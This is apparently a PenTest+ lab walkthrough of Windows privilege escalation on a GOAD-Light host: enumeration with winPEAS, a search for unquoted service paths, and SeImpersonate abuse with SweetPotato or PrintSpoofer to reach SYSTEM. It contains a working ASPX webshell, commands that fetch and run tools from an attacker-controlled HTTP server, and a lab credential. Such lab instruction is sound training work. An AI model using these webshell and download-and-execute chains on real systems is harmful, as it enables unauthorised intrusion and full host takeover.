| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | peass (winPEASx64.exe)netexec 1.5.1PowerShell Empire Invoke-SweetPotato.ps1 (ships on Kali) |
| Lab environment | Proxmox lab |
| Cert prep | CompTIA PenTest+ PT0-003 — Domain 4c (Host-based attacks and privilege escalation) |
| Privilege | Low-privilege shell on the Windows target; Kali HTTP server to stage tools on vmbr1 |
| Scope | Manual Windows priv esc checks (whoami /all, whoami /priv), winPEAS/Seatbelt/PowerUp enumeration context, unquoted service path hunting, and SeImpersonatePrivilege abuse with SweetPotato/PrintSpoofer. Does not cover stored credentials, AlwaysInstallElevated, scheduled tasks, DLL hijacking, kernel exploits, Linux priv esc, GPO abuse, or MSSQL chains — those are separate lessons. |
You have a low-privilege shell on a Windows host. This lesson shows how to enumerate with winPEAS, hunt unquoted service paths, and abuse SeImpersonatePrivilege with SweetPotato or PrintSpoofer to reach NT AUTHORITY\SYSTEM.
The walkthrough uses GOAD-Light member server castelblack as the lab target. Two footholds exist on that host, and they are separate:
- Privilege-escalation shell — unauthenticated IIS upload →
iis apppool\defaultapppool. This is where the winPEAS → SeImpersonate → SYSTEM chain starts. - Domain credential —
jon.snowfrom Kerberoasting → RDP access on the wider GOAD path. It is not required for the IIS → SeImpersonate chain demonstrated here.
This article focuses on the AppPool shell and local escalation only — not every Windows priv esc technique.
Set lab variables once on Kali:
export TARGET=10.10.10.22
export DOMAIN=north.sevenkingdoms.local
export KALI_IP=10.10.10.10
export SHELL="http://${TARGET}/upload/cmd.aspx?cmd="These exports last for the current shell only — re-run the block in a new terminal.
Obtain the IIS upload shell on castelblack
Prerequisites: Deploy GOAD-Light on Proxmox with castelblack at $TARGET. GOAD seeds an unauthenticated file upload on /Default.aspx — the same foothold used across the Windows post-exploitation lessons.
On Kali, create a minimal ASPX command shell:
cat > /tmp/cmd.aspx <<'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
string cmd = Request["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
}
</script>
EOFUpload the shell through the GOAD upload page:
- From Kali, open
http://${TARGET}/Default.aspxin a browser (or tunnel through SSH if you manage Kali remotely). - Use the upload form to place
cmd.aspxinto the site'suploaddirectory (GOAD exposes this path on the stockcastelblackimage). - Confirm execution:
curl -s "${SHELL}whoami"<pre>iis apppool\defaultapppool
</pre>If you get 404, re-upload through Default.aspx and confirm the file lives at http://${TARGET}/upload/cmd.aspx. The troubleshooting table at the end covers common upload-path mistakes.
Windows privilege escalation quick start
On castelblack, the working escalation chain is:
whoami /priv → SeImpersonatePrivilege enabled → SweetPotato / PrintSpoofer → NT AUTHORITY\SYSTEMIn order:
- Confirm you have command execution on the host (our lab uses an IIS upload shell).
- Run
whoami /all, thenwhoami /priv— look forSeImpersonatePrivilegein theEnabledcolumn. - Run winPEAS or manual service-path checks to rule out other quick wins.
- Stage and run
Invoke-SweetPotato(or PrintSpoofer64.exe) — lab output ends withProcess created, enjoy!. - Verify
NT AUTHORITY\SYSTEMin an interactive session or by writing proof to a web-readable file.
The sections below walk through enumeration and the token-abuse path from the IIS AppPool shell.
What is Windows privilege escalation?
Privilege escalation means moving from a limited account to a more powerful one on the same Windows host.
You might start as:
- A local standard user (
CONTOSO\alice) - A service account (
IIS APPPOOL\DefaultAppPool) - A domain user without local admin (
NORTH\jon.snow)
Your goal is usually one of these:
NT AUTHORITY\SYSTEM(full local control)- Membership in the local
Administratorsgroup
| Type | What changes | Example on castelblack |
|---|---|---|
| Vertical (local) | More rights on the same machine | IIS app pool → SYSTEM |
| Horizontal | Same privilege tier on another account | Not covered here |
| Domain privilege | Higher AD role | GPO abuse — separate lesson |
This article focuses on local vertical escalation with winPEAS, service-path checks, and SeImpersonate. Broader Windows priv esc topics (stored creds, AlwaysInstallElevated, kernel bugs) appear in the checklist below but are not walked through here.
Starting shell on GOAD-Light
After the upload steps above, $SHELL should answer whoami as the IIS app pool account. Confirm again if you skipped straight to this section:
curl -s "${SHELL}whoami"<pre>iis apppool\defaultapppool
</pre>You are not logged in as jon.snow — you are inside the IIS worker process. That is normal for a web upload chain and enough to start local privilege escalation.
Separately, jon.snow (recovered via Kerberoasting on the wider GOAD path) can obtain an RDP session on this host with nxc rdp ${TARGET} -u jon.snow -p iknownothing -d ${DOMAIN}. This walkthrough uses the IIS AppPool shell because it exposes SeImpersonatePrivilege directly for the escalation chain below.
What to check first on Windows
After you obtain a low-privilege shell, work through this order before you commit to one exploit:
- Current user and groups —
whoami /all - Enabled privileges —
whoami /priv - Services, service ACLs, and writable paths
- Stored credentials (
cmdkey, vault, unattend files) - Scheduled tasks and startup items
- Registry and policy misconfigurations (AutoLogon, AlwaysInstallElevated)
- Automated enumeration — winPEAS, Seatbelt, or PowerUp
winPEAS links to a Local Windows Privilege Escalation checklist for the full methodology. This lesson does not walk every item — we follow the path that worked on castelblack.
On our GOAD-Light host, whoami /priv exposed SeImpersonatePrivilege. The walkthrough demonstrates that token-abuse chain and also shows how to hunt unquoted service paths manually.
Check privileges with whoami
Start with the full picture, then zoom in on privileges.
whoami /all
whoami /all shows user identity, group memberships, privilege list, and integrity level in one view:
curl -s "${SHELL}whoami%20/all" | sed 's/<[^>]*>//g' | head -35USER INFORMATION
----------------
User Name SID
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
SeImpersonatePrivilege Impersonate a client after authentication EnabledNote the user name, group list, and integrity label (High Mandatory Level here). The privilege block at the bottom is the same data whoami /priv shows alone.
A High integrity label does not by itself mean the process is a local administrator or SYSTEM. Evaluate the token's groups and enabled privileges separately. Our next step hinges on SeImpersonatePrivilege, not membership in the Administrators group.
whoami /priv
For a focused privilege view:
curl -s "${SHELL}whoami%20/priv"<pre>
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
</pre>Also note SeAssignPrimaryTokenPrivilege in the output. It is another privilege frequently discussed alongside SeImpersonatePrivilege in Windows token-based escalation, although this lab follows the enabled SeImpersonate path.
SeImpersonatePrivilege in the Enabled column is a strong lead for token-impersonation techniques. Microsoft defines it as Impersonate a client after authentication — having the privilege is not proof that a specific exploit will succeed.
An enabled SeImpersonatePrivilege makes Potato-family tools worth testing. Which one works depends on the Windows build, process context, available coercion path, and security controls. JuicyPotato often fails on Server 2016/2019; common alternatives include:
- SweetPotato (
Invoke-SweetPotato.ps1on Kali) - PrintSpoofer64.exe
- GodPotato
Windows privilege escalation enumeration tools
winPEAS is the primary tool in this walkthrough. PowerUp and Seatbelt are common alternatives when you need a different shape of output.
| Tool | When to use |
|---|---|
| winPEAS | Broad first-pass enumeration; primary tool in this walkthrough |
| PowerUp | PowerShell-native configuration and service checks |
| Seatbelt | Targeted system and security enumeration |
winPEAS ships on Kali at /usr/share/peass/winpeas/winPEASx64.exe. Clone Seatbelt from GitHub when you need lower-noise, category-specific checks.
Run winPEAS on the target
A full winPEAS run checks much more than services — privileges, registry settings, stored credentials, scheduled tasks, files, and permissions. The PEASS-ng documentation describes winPEAS as a broad search for possible privilege-escalation paths, not merely a services checker. Red and yellow lines are leads to investigate, not proof that privilege escalation works.
Stage winPEAS from Kali with a short-lived HTTP server on vmbr1:
cp /usr/share/peass/winpeas/winPEASx64.exe /tmp/winPEASx64.exe
python3 -m http.server 8877 --directory /tmp &Pull the binary through the webshell:
curl -s "${SHELL}powershell%20-c%20%22Invoke-WebRequest%20-Uri%20http%3A%2F%2F${KALI_IP}%3A8877%2FwinPEASx64.exe%20-OutFile%20C%3A%5Cinetpub%5Cwwwroot%5Cupload%5CwinPEASx64.exe%22"Invoke-WebRequest prints nothing on success. Run winPEAS with no arguments for the full sweep:
curl -s "${SHELL}C%3A%5Cinetpub%5Cwwwroot%5Cupload%5CwinPEASx64.exe" | head -80For this article, we limit output to service checks:
curl -s "${SHELL}C%3A%5Cinetpub%5Cwwwroot%5Cupload%5CwinPEASx64.exe%20quiet%20servicesinfo" | head -80Treat every winPEAS highlight as a lead that needs manual validation.
On castelblack our run flagged the services section and modifiable-service checks:
Interesting Services -non Microsoft- (T1007)
Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths
Modifiable Services (T1543.003)
LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:winPEAS did not surface a ready-made unquoted-path exploit on this host. It still pointed us at the services section for manual follow-up.
Stop the HTTP server when you finish staging:
pkill -f "python3 -m http.server 8877"Hunt unquoted service paths
An unquoted service path is worth investigating when all of these are true:
- The service binary path contains spaces
- The path is not wrapped in quotes
- You can create an executable at an earlier path segment Windows will try
- The service runs as an account with privileges higher than yours
An unquoted ImagePath alone is not automatically exploitable. Microsoft has noted that missing quotes are not sufficient — the executable portion must contain spaces and there must be a usable interception point you can write to.
Windows parses an unquoted path like C:\Program Files\My Company\Service.exe as several executables:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Company\Service.exe
Manual check with wmic
WMIC is available on this Server 2019 lab host but is deprecated on modern Windows releases. Use the PowerShell/CIM query below when wmic is unavailable.
List service paths and filter for Program Files entries:
curl -s "${SHELL}wmic%20service%20get%20name,pathname,startmode" | sed 's/<[^>]*>//g' | grep -i "Program Files" | head -10cloudbase-init "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\bin\OpenStackService.exe" ...
MSSQL$SQLEXPRESS "c:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" ...
QEMU-GA "C:\Program Files\Qemu-ga\qemu-ga.exe" ...Every path on castelblack is wrapped in quotes. This host does not give you a classic unquoted-path priv esc.
Still run the check on every assessment. A genuinely exploitable unquoted high-privilege service remains an important finding when the necessary write permissions are also present.
PowerShell filter for unquoted paths
This CIM query returns only services whose PathName contains a space but does not start with a quote:
curl -s "${SHELL}powershell%20-c%20%22Get-CimInstance%20Win32_Service%20%7C%20Where-Object%20%7B%20%24_.PathName%20-notmatch%20%27%5E%5C%22.*%27%20-and%20%24_.PathName%20-like%20%27*%20*%27%20%7D%20%7C%20Select%20Name,PathName,StartMode%22"An empty response means no unquoted paths matched. That is what we saw on castelblack.
When you do find a candidate, work through these steps:
- Confirm write access on the truncatable folder with
icacls - Plant a malicious executable with the name Windows would try first
- Restart the service and catch the new shell
Abuse SeImpersonate with SweetPotato
SeImpersonatePrivilege lets a process act as another user after that user connects to a resource you control (often a named pipe).
On castelblack, whoami /priv showed this privilege enabled. Kali ships Invoke-SweetPotato.ps1 under PowerShell Empire modules. The SweetPotato build used here defaults to its PrintSpoofer mode; SweetPotato also supports other impersonation and coercion modes (DCOM, WinRM, EfsRpc).
Stage the script the same way as winPEAS:
cp /usr/share/powershell-empire/empire/server/data/module_source/privesc/Invoke-SweetPotato.ps1 /tmp/
python3 -m http.server 8877 --directory /tmp &Download and execute through the webshell:
curl -s "${SHELL}powershell%20-ep%20bypass%20-c%20%22IWR%20http%3A%2F%2F${KALI_IP}%3A8877%2FInvoke-SweetPotato.ps1%20-OutFile%20C%3A%5Cinetpub%5Cwwwroot%5Cupload%5Csp.ps1%3B%20.%20C%3A%5Cinetpub%5Cwwwroot%5Cupload%5Csp.ps1%3B%20Invoke-SweetPotato%20-Command%20whoami%22" | sed 's/<[^>]*>//g' | tail -15SweetPotato by @_EthicalChaos_
PrintSpoofer discovery and original exploit by @itm4n
[+] Attempting NP impersonation using method PrintSpoofer to launch C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[+] Triggering notification on evil PIPE \\castelblack/pipe/4c613171-0162-4bf1-bfb7-7a5726a97771
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!The spawned process runs as NT AUTHORITY\SYSTEM. The thin ASPX shell may not print that identity back to your browser.
On an interactive RDP or evil-winrm session you would see nt authority\system directly.
Prefer a standalone binary? PrintSpoofer64.exe (itm4n/PrintSpoofer) uses the same technique:
PrintSpoofer64.exe -i -c "whoami"Download the release on Kali when GitHub is reachable. Host it from python3 -m http.server and pull it to the target the same way as winPEAS.
whoami /all, enumeration tools used, the finding that drove exploitation (SeImpersonatePrivilege), the exploit (SweetPotato / PrintSpoofer), and remediation priorities — fix the unauthenticated upload first, quote service paths, review SeImpersonate assignments, and deploy detection for winPEAS and Potato-family tools.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
nxc rdp fails but Kerberoast password works |
NLA policy or account not in RDP group | Use IIS shell path; confirm jon.snow is in Night Watch on GOAD-Light |
Upload returns 404 on cmd.aspx |
Shell missing or wrong path | Re-upload ASPX to /upload/ via Default.aspx |
IWR cannot reach Kali |
Host firewall or wrong KALI_IP |
Bind python3 -m http.server on 10.10.10.10 |
| winPEAS download is 0 bytes | HTTP server stopped early | Restart python3 -m http.server 8877 before Invoke-WebRequest |
| SweetPotato prints help/parse errors | Broken quoting in -Command |
Use interactive PowerShell on RDP; run Invoke-SweetPotato -Command whoami locally |
SeImpersonate enabled but exploit fails |
Build hardening, wrong Potato variant, or blocked pipe | Try PrintSpoofer, GodPotato, or another coercion mode in SweetPotato |
| No unquoted paths but exam asks about them | Paths are quoted or not writable | Document the negative result; explain all four conditions must be met |
| JuicyPotato fails on Server 2019 | CLSID protections | Switch to PrintSpoofer, SweetPotato, or GodPotato |
Summary
This lesson covers a focused Windows privilege escalation path: enumerate with whoami and winPEAS, hunt unquoted service paths, then abuse SeImpersonatePrivilege with SweetPotato or PrintSpoofer to reach NT AUTHORITY\SYSTEM.
On GOAD-Light castelblack, an unauthenticated IIS upload gave us an AppPool shell as iis apppool\defaultapppool — separate from the jon.snow domain credential used elsewhere in the lab. whoami /priv showed SeImpersonatePrivilege enabled. winPEAS (quiet servicesinfo) and manual service-path checks found no exploitable unquoted path because every Program Files entry was quoted.
The working chain was token abuse: Invoke-SweetPotato used PrintSpoofer impersonation and reported successful SYSTEM process creation. Broader priv esc topics (stored credentials, AlwaysInstallElevated, scheduled tasks) belong on your checklist but were out of scope for this walkthrough.
On real engagements, run winPEAS or Seatbelt early, treat highlights as leads, and manually validate before you exploit. After SYSTEM, pivot to credential recovery and lateral movement only within scope.
References
- PEASS-ng winPEAS (GitHub)
- PowerUp (GitHub)
- Seatbelt (GitHub)
- PrintSpoofer (GitHub)
- SweetPotato (GitHub)
- Microsoft Learn — SeImpersonatePrivilege
- MITRE ATT&CK T1574.009 — Path Interception by Unquoted Path
- MITRE ATT&CK T1134 — Access Token Manipulation
- GOAD-Light lab description
Frequently Asked Questions
What is the difference between local and domain privilege escalation?
Local privilege escalation raises your rights on one Windows host — for example from a standard user to SYSTEM. Domain privilege escalation gives you higher Active Directory authority, such as domain admin. This lesson covers local escalation only.
Do I need admin rights before running winPEAS?
No. winPEAS is designed to run as a low-privilege user. Many checks only need read access to service configuration, registry keys, and folders. Some tests note when admin rights would show more detail.
What is an unquoted service path?
It is a Windows service whose executable path contains spaces but is not wrapped in double quotes. Windows may try earlier path segments as executables. You also need write permission on a truncatable folder and the service must run as an account with higher privileges than yours. A missing quote alone is not enough.
Why use SweetPotato instead of JuicyPotato on Server 2019?
JuicyPotato relied on COM objects that Microsoft hardened in newer builds. SweetPotato supports multiple coercion modes and, in the build used here, defaults to PrintSpoofer for named-pipe impersonation when SeImpersonatePrivilege is enabled.
Does winPEAS prove I can privilege-escalate?
No. winPEAS highlights possible misconfigurations. Every red or yellow line is a lead that needs manual validation before you report or exploit it.
Can I run this walkthrough over RDP instead of an IIS shell?
Yes. nxc rdp confirmed jon.snow can open a session on castelblack. Upload winPEAS and SweetPotato through the session. The IIS path is script-friendly for capturing command output from Kali.

